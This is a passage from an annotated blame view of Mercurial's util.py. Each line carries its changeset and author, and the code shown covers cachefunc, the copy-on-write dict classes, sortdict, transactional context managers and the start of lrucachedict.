Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1228 cache = {}
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1229 if func.__code__.co_argcount == 1:
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1230 # we gain a small amount of time because
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1231 # we don't need to pack/unpack the list
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1232 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1233 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1234 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1235 return cache[arg]
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1236
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1237 else:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1238
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1239 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1240 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1241 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1242 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1243
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1244 return f
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1245
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1246
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1247 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1248 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1249
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1250 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1251 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1252
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1253 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1254 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1255 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1256 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1257 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1258 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1259
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1260 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1261 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1262 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1263 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1264
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1265
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1266 class sortdict(collections.OrderedDict):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1267 """a simple sorted dictionary
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1268
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1269 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1270 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1271 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1272 sortdict([('a', 0), ('b', 1)])
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1273 >>> d2.update([(b'a', 2)])
34139
be00af4a1ac5 doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents: 34137
diff changeset
1274 >>> list(d2.keys()) # should still be in last-set order
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1275 ['b', 'a']
43907
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1276 >>> d1.insert(1, b'a.5', 0.5)
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1277 >>> d1
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1278 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1279 """
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
1280
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1281 def __setitem__(self, key, value):
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
1282 if key in self:
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1283 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
1284 super(sortdict, self).__setitem__(key, value)
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
1285
33626
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1286 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1287 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1288 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1289 if isinstance(src, dict):
43106
d783f945a701 py3: finish porting iteritems() to pycompat and remove source transformer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43103
diff changeset
1290 src = pycompat.iteritems(src)
33626
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1291 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1292 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
1293
43907
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1294 def insert(self, position, key, value):
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1295 for (i, (k, v)) in enumerate(list(self.items())):
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1296 if i == position:
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1297 self[key] = value
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1298 if i >= position:
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1299 del self[k]
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1300 self[k] = v
68af0228fedc util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents: 43883
diff changeset
1301
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1302
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1303 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1304 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1305
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1306 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1307
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1308 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1309 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1310 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1311 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1312 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1313 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1314 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1315 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1316 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1317 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1318 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1319 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1320 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1321 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1322 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1323 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1324 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1325 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1326 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1327 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1328
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1329
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1330 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1331 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1332
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1333 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1334 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
1335
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1336
43474
70d42e2ad9b4 pytype: don't warn us about ignored-on-py3 metaclasses
Augie Fackler <augie@google.com>
parents: 43117
diff changeset
1337 class transactional(object): # pytype: disable=ignored-metaclass
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1338 """Base class for making a transactional type into a context manager."""
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1339
33793
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1340 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1341
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1342 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1343 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1344 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1345
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1346 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1347 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1348 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1349
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1350 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1351 """
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1352
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1353 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1354 return self
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1355
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1356 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1357 try:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1358 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1359 self.close()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1360 finally:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1361 self.release()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33737
diff changeset
1362
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1363
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1364 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1365 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1366 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1367
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1368 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1369 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1370 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1371 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1372 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1373 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1374 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1375 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1376 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1377 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1378 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1379 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1380 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
1381
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1382
33619
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1383 @contextlib.contextmanager
45146
a0791bfd9cfa util: enhance `nullcontextmanager` to be able to return __enter__ result
Manuel Jacob <me@manueljacob.de>
parents: 45061
diff changeset
1384 def nullcontextmanager(enter_result=None):
a0791bfd9cfa util: enhance `nullcontextmanager` to be able to return __enter__ result
Manuel Jacob <me@manueljacob.de>
parents: 45061
diff changeset
1385 yield enter_result
33619
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
1386
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1387
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1388 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1389 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1390
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1391 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1392 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1393 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1394
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
1395 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1396
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1397 def __init__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1398 self.next = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1399 self.prev = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1400
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1401 self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1402 self.value = None
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1403 self.cost = 0
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1404
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1405 def markempty(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1406 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1407 self.key = _notset
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1408 self.value = None
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1409 self.cost = 0
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1410
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1411
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1412 class lrucachedict(object):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1413 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1414
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1415 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1416 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1417 the cache.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1418
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1419 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1420 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1421 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1422 new head node.
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1423
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1424 Items in the cache can be inserted with an optional "cost" value. This is
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1425 simply an integer that is specified by the caller. The cache can be queried
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1426 for the total cost of all items presently in the cache.
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1427
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1428 The cache can also define a maximum cost. If a cache insertion would
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1429 cause the total cost of the cache to go beyond the maximum cost limit,
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1430 nodes will be evicted to make room for the new code. This can be used
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1431 to e.g. set a max memory limit and associate an estimated bytes size
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1432 cost to each item in the cache. By default, no maximum cost is enforced.
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1433 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1434
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1435 def __init__(self, max, maxcost=0):
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1436 self._cache = {}
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1437
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
